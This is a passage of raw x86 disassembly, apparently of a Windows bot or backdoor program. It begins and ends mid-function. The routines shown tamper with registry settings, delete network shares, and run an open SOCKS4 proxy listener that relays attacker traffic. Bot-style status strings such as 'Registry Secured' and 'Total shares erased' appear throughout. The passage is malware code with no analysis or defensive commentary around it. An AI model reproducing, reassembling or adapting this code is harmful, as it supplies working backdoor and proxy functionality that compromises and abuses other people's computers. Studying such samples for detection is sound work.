[ebp+var_10], ebx jz loc_4212B0 xor edi, edi cmp [ebp+var_10], ebx jbe loc_4212B0 mov eax, [ebp+arg_0] lea esi, [eax+1] loc_42121F: ; CODE XREF: sub_421126+184j push ebx lea eax, [ebp+var_18] push ebx push eax lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_604] push eax push edi push [ebp+var_8] mov [ebp+var_14], 0FAh mov [ebp+var_604], bl call dword_456E04 ; RegEnumValueA test eax, eax jnz short loc_4212A5 lea eax, [ebp+var_604] push offset byte_454A54 push eax call dword_437178 ; lstrcmpiA test eax, eax jnz short loc_42127B cmp [ebp+var_18], 1 jnz short loc_42127B lea eax, [ebp+var_604] push offset aDefault ; "(Default)" push eax call sub_429B03 pop ecx pop ecx loc_42127B: ; CODE XREF: sub_421126+13Aj ; sub_421126+140j push [ebp+var_18] call sub_420F07 push eax lea eax, [ebp+var_604] push eax push [ebp+arg_4] push esi push offset a_2dSSS ; "(%.2d) %s\\%s (%s)" push [ebp+arg_8] push [ebp+arg_C] call sub_41CE4A add esp, 20h inc [ebp+var_4] loc_4212A5: ; CODE XREF: sub_421126+124j inc edi inc esi cmp edi, [ebp+var_10] jb loc_42121F loc_4212B0: ; CODE XREF: sub_421126+E2j ; sub_421126+EDj push [ebp+var_8] call dword_456F08 ; RegCloseKey xor eax, eax cmp [ebp+var_4], ebx pop esi setnle al jmp short loc_4212C6 ; --------------------------------------------------------------------------- loc_4212C4: ; CODE XREF: sub_421126+44j xor eax, eax loc_4212C6: ; CODE XREF: sub_421126+19Cj pop edi pop ebx leave retn sub_421126 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4212CA proc near ; CODE XREF: sub_41BC0B+96p ; sub_41BCED+1Cp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 10h push esi push 4 pop eax xor esi, esi mov [ebp+var_10], eax mov [ebp+var_C], eax lea eax, [ebp+var_4] mov [ebp+var_4], esi push eax push 0F003Fh push esi mov [ebp+var_8], esi push [ebp+arg_4] push [ebp+arg_0] call dword_456FC0 ; RegOpenKeyExA test eax, eax jnz short loc_421336 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi push [ebp+arg_8] push [ebp+var_4] call dword_456DF0 ; RegQueryValueExA push [ebp+var_4] test eax, eax jnz short loc_421330 call dword_456F08 ; RegCloseKey mov eax, [ebp+arg_C] mov dword ptr [eax], 1 mov eax, [ebp+var_8] jmp short loc_42133D ; --------------------------------------------------------------------------- loc_421330: ; CODE XREF: sub_4212CA+50j call dword_456F08 ; RegCloseKey loc_421336: ; CODE XREF: sub_4212CA+30j mov eax, [ebp+arg_C] mov [eax], esi xor eax, eax loc_42133D: ; CODE XREF: sub_4212CA+64j pop esi leave retn sub_4212CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421340 proc near ; CODE XREF: sub_418FA1+5Cp ; sub_421092+71p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx mov eax, 0FFFFh push esi xor ebx, ebx push eax mov esi, offset dword_45AFE8 push ebx push esi mov [ebp+var_4], ebx mov [ebp+var_8], eax call sub_429760 add esp, 0Ch lea eax, [ebp+var_4] push eax push 0F003Fh push ebx push [ebp+arg_4] push [ebp+arg_0] call dword_456FC0 ; RegOpenKeyExA test eax, eax jnz short loc_4213E2 lea eax, [ebp+var_8] push eax push esi push ebx push ebx push [ebp+arg_8] push [ebp+var_4] call dword_456DF0 ; RegQueryValueExA test eax, eax jnz short loc_4213D9 cmp [ebp+arg_C], 7 jnz short loc_4213CC mov ecx, [ebp+var_8] mov byte ptr dword_45AFE8[ecx], bl loc_4213A4: ; CODE XREF: sub_421340+72j cmp ecx, ebx jz short loc_4213B4 dec ecx mov [ebp+var_8], ecx cmp byte ptr dword_45AFE8[ecx], bl jz short loc_4213A4 loc_4213B4: ; CODE XREF: sub_421340+66j xor edx, edx cmp ecx, ebx jbe short loc_4213CC loc_4213BA: ; CODE XREF: sub_421340+8Aj lea eax, dword_45AFE8[edx] cmp [eax], bl jnz short loc_4213C7 mov byte ptr [eax], 0Ah loc_4213C7: ; CODE XREF: sub_421340+82j inc edx cmp edx, ecx jb short loc_4213BA loc_4213CC: ; CODE XREF: sub_421340+59j ; sub_421340+78j push [ebp+var_4] call dword_456F08 ; RegCloseKey mov eax, esi jmp short loc_4213E4 ; --------------------------------------------------------------------------- loc_4213D9: ; CODE XREF: sub_421340+53j push [ebp+var_4] call dword_456F08 ; RegCloseKey loc_4213E2: ; CODE XREF: sub_421340+3Cj xor eax, eax loc_4213E4: ; CODE XREF: sub_421340+97j pop esi pop ebx leave retn sub_421340 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4213E8 proc near ; CODE XREF: sub_418FA1+2EBp ; sub_418FA1+2F9p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push [ebp+var_4] mov eax, [ebp+arg_C] push eax push 4 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_421450 add esp, 18h leave retn sub_4213E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421409 proc near ; CODE XREF: sub_418E0F+154p ; sub_418FA1+2D5p ... var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_10], 1 mov eax, [ebp+arg_C] jnz short loc_421430 push eax push [ebp+var_8] push 1 loc_42141D: ; CODE XREF: sub_421409+33j ; sub_421409+41j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_421450 add esp, 18h leave retn ; --------------------------------------------------------------------------- loc_421430: ; CODE XREF: sub_421409+Cj cmp [ebp+arg_10], 2 jnz short loc_42143E push eax push [ebp+var_8] push 2 jmp short loc_42141D ; --------------------------------------------------------------------------- loc_42143E: ; CODE XREF: sub_421409+2Bj cmp [ebp+arg_10], 7 jnz short loc_42144C push eax push [ebp+var_8] push 7 jmp short loc_42141D ; --------------------------------------------------------------------------- loc_42144C: ; CODE XREF: sub_421409+39j xor eax, eax leave retn sub_421409 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421450 proc near ; CODE XREF: sub_4213E8+17p ; sub_421409+1Dp var_10004 = byte ptr -10004h var_10003 = byte ptr -10003h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov eax, 10004h call sub_429B60 push ebx xor ebx, ebx lea eax, [ebp+arg_4] push ebx push eax push ebx push 20006h push ebx push ebx push ebx push [ebp+arg_4] push [ebp+arg_0] call dword_456ED4 ; RegCreateKeyExA test eax, eax jz short loc_421485 xor eax, eax jmp loc_421555 ; --------------------------------------------------------------------------- loc_421485: ; CODE XREF: sub_421450+2Cj push esi push edi mov edi, [ebp+arg_8] cmp edi, ebx jz loc_421545 mov eax, [ebp+arg_C] dec eax jz loc_421558 dec eax jz short loc_421510 dec eax dec eax jz short loc_421500 sub eax, 3 jnz loc_421548 push [ebp+arg_14] call sub_4293A0 pop ecx mov esi, eax push [ebp+arg_14] lea eax, [ebp+var_10004] push eax call dword_4370B4 ; lstrcpyA xor ecx, ecx cmp esi, ebx mov [ebp+esi+var_10004], bl mov [ebp+esi+var_10003], bl jle short loc_4214F0 loc_4214DB: ; CODE XREF: sub_421450+9Cj lea eax, [ebp+ecx+var_10004] cmp byte ptr [eax], 0Ah jnz short loc_4214E9 mov [eax], bl loc_4214E9: ; CODE XREF: sub_421450+95j inc ecx cmp ecx, esi jl short loc_4214DB cmp esi, ebx loc_4214F0: ; CODE XREF: sub_421450+89j jz short loc_4214F4 inc esi inc esi loc_4214F4: ; CODE XREF: sub_421450:loc_4214F0j lea eax, [ebp+var_10004] push esi push eax push 7 jmp short loc_421536 ; --------------------------------------------------------------------------- loc_421500: ; CODE XREF: sub_421450+51j mov eax, [ebp+arg_10] push 4 mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push eax push 4 jmp short loc_421536 ; --------------------------------------------------------------------------- loc_421510: ; CODE XREF: sub_421450+4Dj push [ebp+arg_14] call sub_4293A0 pop ecx mov esi, eax push [ebp+arg_14] lea eax, [ebp+var_10004] push eax call dword_4370B4 ; lstrcpyA inc esi lea eax, [ebp+var_10004] push esi push eax push 2 loc_421536: ; CODE XREF: sub_421450+AEj ; sub_421450+BEj ... push ebx push edi push [ebp+arg_4] call dword_456F64 ; RegSetValueExA test eax, eax jnz short loc_421548 loc_421545: ; CODE XREF: sub_421450+3Cj xor ebx, ebx inc ebx loc_421548: ; CODE XREF: sub_421450+56j ; sub_421450+F3j push [ebp+arg_4] call dword_456F08 ; RegCloseKey pop edi mov eax, ebx pop esi loc_421555: ; CODE XREF: sub_421450+30j pop ebx leave retn ; --------------------------------------------------------------------------- loc_421558: ; CODE XREF: sub_421450+46j push [ebp+arg_14] call sub_4293A0 pop ecx mov esi, eax push [ebp+arg_14] lea eax, [ebp+var_10004] push eax call dword_4370B4 ; lstrcpyA inc esi lea eax, [ebp+var_10004] push esi push eax push 1 jmp short loc_421536 sub_421450 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421580 proc near ; CODE XREF: sub_421676+125p var_504 = byte ptr -504h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 504h push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi mov esi, 400h loc_421596: ; CODE XREF: sub_421580+BBj ; sub_421580+EBj xor ecx, ecx mov [ebp+var_100], ebx inc ecx xor eax, eax mov [ebp+var_104], ecx loc_4215A7: ; CODE XREF: sub_421580+36j mov edx, [ebp+arg_0] cmp [ebp+eax*4+var_100], edx jz short loc_4215B8 inc eax cmp eax, ecx jb short loc_4215A7 loc_4215B8: ; CODE XREF: sub_421580+31j cmp eax, ecx jnz short loc_4215C9 mov [ebp+eax*4+var_100], edx inc [ebp+var_104] loc_4215C9: ; CODE XREF: sub_421580+3Aj push esi lea eax, [ebp+var_504] push edi push eax call sub_429760 add esp, 0Ch lea eax, [ebp+var_104] push edi push edi push edi push eax push edi call dword_456F1C ; select lea eax, [ebp+var_104] push eax push ebx call dword_456DD8 ; __WSAFDIsSet test eax, eax jz short loc_421629 push edi lea eax, [ebp+var_504] push esi push eax push ebx call dword_456F58 ; recv cmp eax, 0FFFFFFFFh jz short loc_421671 push edi push eax lea eax, [ebp+var_504] push eax push [ebp+arg_0] call dword_456F8C ; send cmp eax, 0FFFFFFFFh jz short loc_421671 loc_421629: ; CODE XREF: sub_421580+7Bj lea eax, [ebp+var_104] push eax push [ebp+arg_0] call dword_456DD8 ; __WSAFDIsSet test eax, eax jz loc_421596 push edi lea eax, [ebp+var_504] push esi push eax push [ebp+arg_0] call dword_456F58 ; recv cmp eax, 0FFFFFFFFh jz short loc_421671 push edi push eax lea eax, [ebp+var_504] push eax push ebx call dword_456F8C ; send cmp eax, 0FFFFFFFFh jnz loc_421596 loc_421671: ; CODE XREF: sub_421580+90j ; sub_421580+A7j ... pop edi pop esi pop ebx leave retn sub_421580 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421676 proc near ; DATA XREF: sub_4217A4+99o var_524 = dword ptr -524h var_520 = dword ptr -520h var_420 = byte ptr -420h var_41F = byte ptr -41Fh var_41E = word ptr -41Eh var_41C = dword ptr -41Ch var_418 = byte ptr -418h var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 524h push ebx push esi mov esi, [ebp+arg_0] lea eax, [ebp+var_8] push edi xor ebx, ebx push eax xor edi, edi push ebx lea eax, [ebp+var_524] push ebx inc edi push eax push ebx mov [ebp+var_8], 5 mov [ebp+var_4], ebx mov [ebp+var_520], esi mov [ebp+var_524], edi call dword_456F1C ; select test eax, eax jz loc_421769 push ebx lea eax, [ebp+var_420] push 408h push eax push esi call dword_456F58 ; recv test eax, eax jle loc_421769 cmp [ebp+var_420], 4 jnz loc_421769 cmp [ebp+var_41F], 1 jnz short loc_421769 push 10h lea eax, [ebp+var_18] push ebx push eax call sub_429760 mov ax, [ebp+var_41E] add esp, 0Ch mov [ebp+var_16], ax mov eax, [ebp+var_41C] push 6 push edi push 2 mov [ebp+var_18], 2 mov [ebp+var_14], eax call dword_456FD0 ; socket mov edi, eax lea eax, [ebp+var_18] push 10h push eax push edi call dword_456EBC ; connect cmp eax, 0FFFFFFFFh push 400h lea eax, [ebp+var_418] push ebx mov [ebp+var_420], bl push eax jnz short loc_421779 mov [ebp+var_41F], 5Bh call sub_429760 add esp, 0Ch lea eax, [ebp+var_420] push ebx push 8 push eax push esi call dword_456F8C ; send loc_421769: ; CODE XREF: sub_421676+40j ; sub_421676+5Cj ... push esi call dword_456FF0 ; closesocket loc_421770: ; CODE XREF: sub_421676+12Cj pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_421779: ; CODE XREF: sub_421676+D1j mov [ebp+var_41F], 5Ah call sub_429760 add esp, 0Ch lea eax, [ebp+var_420] push ebx push 8 push eax push esi call dword_456F8C ; send push esi push edi call sub_421580 pop ecx pop ecx jmp short loc_421770 sub_421676 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4217A4 proc near ; DATA XREF: sub_40A9FE+17CAo var_E4 = byte ptr -0E4h var_60 = dword ptr -60h var_44 = dword ptr -44h var_20 = byte ptr -20h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0E4h mov eax, [ebp+arg_0] push esi push edi push 31h pop ecx mov esi, eax lea edi, [ebp+var_E4] mov [ebp+var_10], 2 rep movsd push [ebp+var_44] xor edi, edi inc edi mov [eax+0BCh], edi call dword_456F38 ; ntohs push 6 xor esi, esi push edi push 2 mov [ebp+var_E], ax mov [ebp+var_C], esi call dword_456FD0 ; socket mov edi, eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_456F6C ; bind test eax, eax jz short loc_42180E push [ebp+var_60] call sub_423623 pop ecx push esi call dword_437174 ; ExitThread loc_42180E: ; CODE XREF: sub_4217A4+58j push 0Ah push edi call dword_456F68 ; listen test eax, eax jz short loc_42182B push [ebp+var_60] call sub_423623 pop ecx push esi call dword_437174 ; ExitThread loc_42182B: ; CODE XREF: sub_4217A4+75j ; sub_4217A4+A6j lea eax, [ebp+var_20] push esi push eax push edi call dword_456FE4 ; accept lea ecx, [ebp+arg_0] push ecx push esi push eax push offset sub_421676 push esi push esi call dword_437180 ; CreateThread jmp short loc_42182B sub_4217A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42184C proc near ; CODE XREF: sub_422009+43p ; sub_422009+9Fp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ecx push ecx push ebx xor edx, edx push esi push edi mov [ebp+var_8], edx mov [ebp+var_4], edx xor esi, esi loc_42185E: ; CODE XREF: sub_42184C+23Ej mov eax, dword_44E18C[esi] cmp eax, 4 jnz loc_421975 cmp [ebp+arg_0], edx jz short loc_42187A mov eax, dword_44E190[esi] jmp short loc_421880 ; --------------------------------------------------------------------------- loc_42187A: ; CODE XREF: sub_42184C+24j mov eax, dword_44E194[esi] loc_421880: ; CODE XREF: sub_42184C+2Cj lea edi, dword_44E08B[esi] lea ebx, dword_44DF8C[esi] push eax push edi push ebx push dword_44DF88[esi] call sub_4213E8 add esp, 10h test eax, eax jz short loc_42190B inc [ebp+var_8] cmp [ebp+arg_14], 0 jnz loc_421A7C cmp [ebp+arg_10], 0 jz loc_421A7C cmp [ebp+arg_C], 0 jnz loc_421A7C cmp [ebp+arg_0], 0 jz short loc_4218D0 mov ecx, dword_44E190[esi] jmp short loc_4218D6 ; --------------------------------------------------------------------------- loc_4218D0: ; CODE XREF: sub_42184C+7Aj mov ecx, dword_44E194[esi] loc_4218D6: ; CODE XREF: sub_42184C+82j cmp dword_44DF88[esi], 80000002h mov edx, offset aHklm ; "HKLM" jz short loc_4218EC mov edx, offset aHkcu ; "HKCU" loc_4218EC: ; CODE XREF: sub_42184C+99j cmp [ebp+arg_0], 0 mov eax, offset aFfec81uznt81 ; "fFEC81UzNT81" jnz short loc_4218FC mov eax, offset aJvatg1988z81 ; "jVATg1988z81" loc_4218FC: ; CODE XREF: sub_42184C+A9j push ecx push edi push ebx push edx push eax push offset aSSetSSSToD_ ; "%s Set \"%s\\%s\\%s\" to \"%d\"." jmp loc_421A6E ; --------------------------------------------------------------------------- loc_42190B: ; CODE XREF: sub_42184C+53j inc [ebp+var_4] cmp [ebp+arg_14], 0 jnz loc_421A7C cmp [ebp+arg_10], 0 jz loc_421A7C cmp [ebp+arg_C], 0 jnz loc_421A7C cmp [ebp+arg_0], 0 jz short loc_42193A mov ecx, dword_44E190[esi] jmp short loc_421940 ; --------------------------------------------------------------------------- loc_42193A: ; CODE XREF: sub_42184C+E4j mov ecx, dword_44E194[esi] loc_421940: ; CODE XREF: sub_42184C+ECj cmp dword_44DF88[esi], 80000002h mov edx, offset aHklm ; "HKLM" jz short loc_421956 mov edx, offset aHkcu ; "HKCU" loc_421956: ; CODE XREF: sub_42184C+103j cmp [ebp+arg_0], 0 mov eax, offset aFfec81uznt81 ; "fFEC81UzNT81" jnz short loc_421966 mov eax, offset aJvatg1988z81 ; "jVATg1988z81" loc_421966: ; CODE XREF: sub_42184C+113j push ecx push edi push ebx push edx push eax push offset aSFailedToSetSS ; "%s Failed to set \"%s\\%s\\%s\" to \"%d\"." jmp loc_421A6E ; --------------------------------------------------------------------------- loc_421975: ; CODE XREF: sub_42184C+1Bj cmp eax, 1 jnz loc_421A7E inc [ebp+var_8] cmp [ebp+arg_0], edx lea eax, dword_44E198[esi] jnz short loc_421992 lea eax, dword_44E297[esi] loc_421992: ; CODE XREF: sub_42184C+13Ej lea edi, dword_44E08B[esi] push 1 lea ebx, dword_44DF8C[esi] push eax push edi push ebx push dword_44DF88[esi] call sub_421409 add esp, 14h test eax, eax jz short loc_421A17 cmp [ebp+arg_14], 0 jnz loc_421A7C cmp [ebp+arg_10], 0 jz loc_421A7C cmp [ebp+arg_C], 0 jnz loc_421A7C cmp [ebp+arg_0], 0 lea ecx, dword_44E198[esi] jnz short loc_4219E5 lea ecx, dword_44E297[esi] loc_4219E5: ; CODE XREF: sub_42184C+191j cmp dword_44DF88[esi], 80000002h mov edx, offset aHklm ; "HKLM" jz short loc_4219FB mov edx, offset aHkcu ; "HKCU" loc_4219FB: ; CODE XREF: sub_42184C+1A8j cmp [ebp+arg_0], 0 mov eax, offset aFfec81uznt81 ; "fFEC81UzNT81" jnz short loc_421A0B mov eax, offset aJvatg1988z81 ; "jVATg1988z81" loc_421A0B: ; CODE XREF: sub_42184C+1B8j push ecx push edi push ebx push edx push eax push offset aSSetSSSToS_ ; "%s Set \"%s\\%s\\%s\" to \"%s\"." jmp short loc_421A6E ; --------------------------------------------------------------------------- loc_421A17: ; CODE XREF: sub_42184C+167j inc [ebp+var_4] cmp [ebp+arg_14], 0 jnz short loc_421A7C cmp [ebp+arg_10], 0 jz short loc_421A7C cmp [ebp+arg_C], 0 jnz short loc_421A7C cmp [ebp+arg_0], 0 lea ecx, dword_44E198[esi] jnz short loc_421A3E lea ecx, dword_44E297[esi] loc_421A3E: ; CODE XREF: sub_42184C+1EAj cmp dword_44DF88[esi], 80000002h mov edx, offset aHklm ; "HKLM" jz short loc_421A54 mov edx, offset aHkcu ; "HKCU" loc_421A54: ; CODE XREF: sub_42184C+201j cmp [ebp+arg_0], 0 mov eax, offset aFfec81uznt81 ; "fFEC81UzNT81" jnz short loc_421A64 mov eax, offset aJvatg1988z81 ; "jVATg1988z81" loc_421A64: ; CODE XREF: sub_42184C+211j push ecx push edi push ebx push edx push eax push offset aSFailedToSet_0 ; "%s Failed to set \"%s\\%s\\%s\" to \"%s\"." loc_421A6E: ; CODE XREF: sub_42184C+BAj ; sub_42184C+124j ... push [ebp+arg_8] push [ebp+arg_4] call sub_41CE4A add esp, 20h loc_421A7C: ; CODE XREF: sub_42184C+5Cj ; sub_42184C+66j ... xor edx, edx loc_421A7E: ; CODE XREF: sub_42184C+12Cj add esi, 410h cmp esi, 0C30h jb loc_42185E cmp [ebp+var_8], edx pop edi pop esi pop ebx jnz short loc_421ACF cmp [ebp+arg_10], edx jnz short locret_421B0D cmp [ebp+arg_C], edx jnz short locret_421B0D cmp [ebp+arg_14], edx jnz short locret_421B0D cmp [ebp+arg_0], edx mov ecx, offset aSecured ; "Secured" jnz short loc_421AC8 mov ecx, offset aUnsecure ; "Unsecure" mov eax, offset aJvatg1988z81 ; "jVATg1988z81" loc_421ABB: ; CODE XREF: sub_42184C+281j push [ebp+var_4] push edx push ecx push eax push offset aSFailedToSRegi ; "%s Failed to %s Registry, (%.2d/%.2d)" jmp short loc_421AFF ; --------------------------------------------------------------------------- loc_421AC8: ; CODE XREF: sub_42184C+263j mov eax, offset aFfec81uznt81 ; "fFEC81UzNT81" jmp short loc_421ABB ; --------------------------------------------------------------------------- loc_421ACF: ; CODE XREF: sub_42184C+24Aj cmp [ebp+arg_10], edx jnz short locret_421B0D cmp [ebp+arg_C], edx jnz short locret_421B0D cmp [ebp+arg_14], edx jnz short locret_421B0D cmp [ebp+arg_0], edx mov ecx, offset aSecure ; "Secure" jnz short loc_421B0F mov ecx, offset aUnsecure ; "Unsecure" mov eax, offset aJvatg1988z81 ; "jVATg1988z81" loc_421AF2: ; CODE XREF: sub_42184C+2C8j push [ebp+var_4] push [ebp+var_8] push ecx push eax push offset aSRegistryS_2d_ ; "%s Registry %s, (%.2d/%.2d)" loc_421AFF: ; CODE XREF: sub_42184C+27Aj push [ebp+arg_8] push [ebp+arg_4] call sub_41CE4A add esp, 1Ch locret_421B0D: ; CODE XREF: sub_42184C+24Fj ; sub_42184C+254j ... leave retn ; --------------------------------------------------------------------------- loc_421B0F: ; CODE XREF: sub_42184C+29Aj mov eax, offset aFfec81uznt81 ; "fFEC81UzNT81" jmp short loc_421AF2 sub_42184C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421B16 proc near ; CODE XREF: sub_422009+4Ep ; sub_422009+B6p var_4E54 = byte ptr -4E54h var_2744 = byte ptr -2744h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov eax, 4E54h call sub_429B60 push ebx xor ebx, ebx cmp [ebp+arg_0], ebx push esi push edi mov [ebp+var_4], ebx mov [ebp+var_8], ebx jz loc_421D51 cmp [ebp+arg_14], ebx mov [ebp+arg_0], ebx mov [ebp+var_C], ebx mov [ebp+var_10], ebx jnz short loc_421B68 cmp [ebp+arg_C], ebx jnz short loc_421B68 push offset aErased ; "erased" push offset aFfec81uznt81 ; "fFEC81UzNT81" lea eax, [ebp+var_2744] push offset dword_44F124 push eax call sub_429B03 add esp, 10h loc_421B68: ; CODE XREF: sub_421B16+2Dj ; sub_421B16+32j ... lea eax, [ebp+var_10] push eax lea eax, [ebp+var_C] push eax lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_8] push 0FFFFFFFFh push eax push 1F6h push ebx call dword_456E40 cmp eax, ebx mov [ebp+var_14], eax jz loc_421C13 cmp eax, 0EAh jz short loc_421C13 xor esi, esi loc_421B9A: ; CODE XREF: sub_421B16+F6j push ebx push off_44EBB8[esi] push ebx call dword_456DBC test eax, eax jnz short loc_421C03 cmp [ebp+arg_14], ebx jnz short loc_421C00 cmp [ebp+arg_C], ebx jnz short loc_421C00 cmp [ebp+arg_10], ebx jz short loc_421C00 cmp [ebp+var_4], ebx jle short loc_421BD3 lea eax, [ebp+var_2744] push offset dword_44F120 push eax call sub_42A5E0 pop ecx pop ecx loc_421BD3: ; CODE XREF: sub_421B16+A8j push off_44EBB8[esi] lea eax, [ebp+var_4E54] push offset off_44F11C push eax call sub_429B03 lea eax, [ebp+var_4E54] push eax lea eax, [ebp+var_2744] push eax call sub_42A5E0 add esp, 14h loc_421C00: ; CODE XREF: sub_421B16+99j ; sub_421B16+9Ej ... inc [ebp+var_4] loc_421C03: ; CODE XREF: sub_421B16+94j add esi, 8 cmp esi, 138h jb short loc_421B9A jmp loc_421CA5 ; --------------------------------------------------------------------------- loc_421C13: ; CODE XREF: sub_421B16+75j ; sub_421B16+80j mov edi, [ebp+var_8] xor ebx, ebx inc ebx cmp [ebp+arg_0], ebx jb short loc_421C9A loc_421C1E: ; CODE XREF: sub_421B16+182j mov esi, [edi] push esi call sub_42AA07 cmp word ptr [esi+eax*2-2], 24h pop ecx jnz short loc_421C91 push 0 push esi push 0 call dword_456DBC test eax, eax jnz short loc_421C91 cmp [ebp+arg_14], eax jnz short loc_421C8E cmp [ebp+arg_C], eax jnz short loc_421C8E cmp [ebp+arg_10], eax jz short loc_421C8E cmp [ebp+var_4], eax jle short loc_421C65 lea eax, [ebp+var_2744] push offset dword_44F120 push eax call sub_42A5E0 pop ecx pop ecx loc_421C65: ; CODE XREF: sub_421B16+13Aj push dword ptr [edi] lea eax, [ebp+var_4E54] push offset off_44F11C push eax call sub_429B03 lea eax, [ebp+var_4E54] push eax lea eax, [ebp+var_2744] push eax call sub_42A5E0 add esp, 14h loc_421C8E: ; CODE XREF: sub_421B16+12Bj ; sub_421B16+130j ... inc [ebp+var_4] loc_421C91: ; CODE XREF: sub_421B16+117j ; sub_421B16+126j add edi, 28h inc ebx cmp ebx, [ebp+arg_0] jbe short loc_421C1E loc_421C9A: ; CODE XREF: sub_421B16+106j push [ebp+var_8] call dword_456FE0 xor ebx, ebx loc_421CA5: ; CODE XREF: sub_421B16+F8j cmp [ebp+var_14], 0EAh jz loc_421B68 cmp [ebp+arg_10], ebx jz short loc_421D23 cmp [ebp+arg_14], ebx jnz loc_421E8E cmp [ebp+arg_C], ebx jnz loc_421E8E cmp [ebp+var_4], ebx jnz short loc_421CDD loc_421CCE: ; CODE XREF: sub_421B16+222j push offset aErased ; "erased" push offset aFfec81uznt81 ; "fFEC81UzNT81" jmp loc_421E40 ; --------------------------------------------------------------------------- loc_421CDD: ; CODE XREF: sub_421B16+1B6j push [ebp+var_4] push offset aErased ; "erased" push offset aTotalSharesSD ; " Total shares: [%s: %d]" loc_421CEA: ; CODE XREF: sub_421B16+348j lea eax, [ebp+var_4E54] push eax call sub_429B03 lea eax, [ebp+var_4E54] push eax lea eax, [ebp+var_2744] push eax call sub_42A5E0 lea eax, [ebp+var_2744] push eax push [ebp+arg_8] push [ebp+arg_4] call sub_41CE4A add esp, 24h jmp loc_421E8E ; --------------------------------------------------------------------------- loc_421D23: ; CODE XREF: sub_421B16+19Fj cmp [ebp+arg_14], ebx jnz loc_421E8E cmp [ebp+arg_C], ebx jnz loc_421E8E cmp [ebp+var_4], ebx jz short loc_421CCE push [ebp+var_4] push offset aErased ; "erased" push offset aFfec81uznt81 ; "fFEC81UzNT81" push offset aSTotalSharesSD ; "%s Total shares %s: [%d]" jmp loc_421E80 ; --------------------------------------------------------------------------- loc_421D51: ; CODE XREF: sub_421B16+1Bj cmp [ebp+arg_14], ebx mov edi, offset aCreated ; "created" jnz short loc_421D7A cmp [ebp+arg_C], ebx jnz short loc_421D7A push edi push offset aJvatg1988z81 ; "jVATg1988z81" lea eax, [ebp+var_2744] push offset dword_44F124 push eax call sub_429B03 add esp, 10h loc_421D7A: ; CODE XREF: sub_421B16+243j ; sub_421B16+248j mov [ebp+arg_0], ebx xor esi, esi loc_421D7F: ; CODE XREF: sub_421B16+30Aj mov eax, off_44EBB8[esi] mov [ebp+var_30], ebx mov [ebp+var_34], eax mov eax, dword_44EBBC[esi] mov [ebp+var_1C], eax lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_34] push eax push 2 push ebx mov [ebp+var_2C], offset aUnloading ; "Unloading" mov [ebp+var_28], ebx mov [ebp+var_24], 4 mov [ebp+var_20], ebx mov [ebp+var_18], ebx call dword_456DE0 test eax, eax jnz short loc_421E17 cmp [ebp+arg_14], ebx jnz short loc_421E14 cmp [ebp+arg_C], ebx jnz short loc_421E14 cmp [ebp+arg_10], ebx jz short loc_421E14 cmp [ebp+var_8], ebx jle short loc_421DE7 lea eax, [ebp+var_2744] push offset dword_44F120 push eax call sub_42A5E0 pop ecx pop ecx loc_421DE7: ; CODE XREF: 